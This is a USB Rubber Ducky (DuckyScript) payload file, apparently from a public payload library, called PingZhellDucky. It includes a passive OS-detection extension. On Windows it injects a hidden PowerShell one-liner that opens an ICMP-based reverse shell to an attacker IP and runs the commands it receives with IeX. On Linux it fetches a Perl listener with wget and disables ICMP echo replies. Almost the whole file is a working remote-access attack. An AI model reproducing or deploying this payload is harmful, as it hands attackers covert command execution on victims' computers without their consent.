Path: blob/master/payloads/library/remote_access/PingZhellDucky/payload.txt
2964 views
REM PingZhellDucky1REM Version 1.22REM OS: Windows & Unix3REM Author: 0i41E4REM Requirements: DuckScript 3.0, Perl56REM Getting remote access via ICMP or perform the required setup78REM PASSIVE_WINDOWS_DETECT extension, made by Korben, to indentify the OS9EXTENSION PASSIVE_WINDOWS_DETECT10REM VERSION 1.01112REM Windows fully passive OS Detection and passive Detect Ready13REM Includes its own passive detect ready. Does not require14REM additional extensions1516REM USAGE:17REM Extension runs inline (here)18REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic19REM boot delay20REM $_OS will be set to WINDOWS or NOT_WINDOWS2122REM CONFIGURATION:23DEFINE MAX_WAIT 15024DEFINE CHECK_INTERVAL 2025DEFINE WINDOWS_HOST_REQUEST_COUNT 226DEFINE NOT_WINDOWS 72728VAR $MAX_TRIES = MAX_WAIT29WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))30DELAY CHECK_INTERVAL31$MAX_TRIES = ($MAX_TRIES - 1)32END_WHILE33IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN34$_OS = WINDOWS35ELSE36$_OS = NOT_WINDOWS37END_IF3839REM EXAMPLE USAGE AFTER EXTENSION40REM IF ($_OS == WINDOWS) THEN41REM STRING HELLO WINDOWS!42REM ELSE43REM STRING HELLO WORLD!44REM END_IF45END_EXTENSION4647REM Configure your settings below:48REM Insert the attacking IP between ''49DEFINE ATTACKER '0.0.0.0'50REM Set the default DELAY51DEFINE WAIT 25052REM Do you want to install the dependencies and set up the infratructre?53REM Will trigger when not using Windows - Best use with Linux54DEFINE INSTALL TRUE55REM Link to the PingZhellDucky.pl client - Required for installation56DEFINE CLIENTLINK https://raw.githubusercontent.com/0i41E/usbrubberducky-payloads/master/payloads/library/remote_access/PingZhellDucky/PingZhellDucky.pl575859IF ($_OS == WINDOWS) THEN60DELAY 150061GUI r62DELAY 50063STRINGLN powershell -NoP -NonI -w h64DELAY 50065STRING ;$Delay=5;$BufferSize=128;$ICMPDucky=New-Object System.Net.NetworkInformation.Ping;$PingDuck=New-Object System.Net.NetworkInformation.PingOptions;$PingDuck.DontFragment = $True;$QuackAttack = ([text.encoding]::ASCII).GetBytes('Ducky@PS '+(gl).Path+'> ');$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck) | Out-Null;while ($true){$QuackAttack=([text.encoding]::ASCII).GetBytes('');$reply=$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck);if ($reply.Buffer){$response=([text.encoding]::ASCII).GetString($reply.Buffer);$result=(IeX -Command $response 2>&1 | Out-String );$QuackAttack = ([text.encoding]::ASCII).GetBytes($result);$index=[math]::floor($QuackAttack.length/$BufferSize);$i = 0;66DELAY WAIT67STRINGLN if($QuackAttack.length -gt $BufferSize){while ($i -lt $index ){$NGGYU2 = $QuackAttack[($i*$BufferSize)..(($i+1)*$BufferSize-1)];$ICMPDucky.Send( ATTACKER ,60 * 10000, $NGGYU2, $PingDuck) | Out-Null;$i +=1;};$remainingindex=$QuackAttack.Length % $BufferSize;if($remainingindex -ne 0){$NGGYU2 = $QuackAttack[($i*$BufferSize)..($QuackAttack.Length)];$ICMPDucky.Send( ATTACKER ,60 * 10000, $NGGYU2, $PingDuck) | Out-Null}}else{$ICMPDucky.Send( ATTACKER ,60 * 10000, $QuackAttack, $PingDuck) | Out-Null};$QuackAttack = ([text.encoding]::ASCII).GetBytes("`nDucky@PS " + (pwd).Path + '> ');$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck) | Out-Null}else{Start-Sleep -Seconds $Delay}}68ELSE69IF INSTALL THEN70DELAY WAIT71STRINGLN echo "Setting up Infrastructre - Do not interact!"72DELAY 200073STRINGLN cpan IO::Socket NetPacket::IP NetPacket::ICMP && wget CLIENTLINK && sysctl -w net.ipv4.icmp_echo_ignore_all=1 && echo "Setup complete!"74ELSE75STRING Please insert device into a Windows machine or change the settings!76END_IF77END_IF787980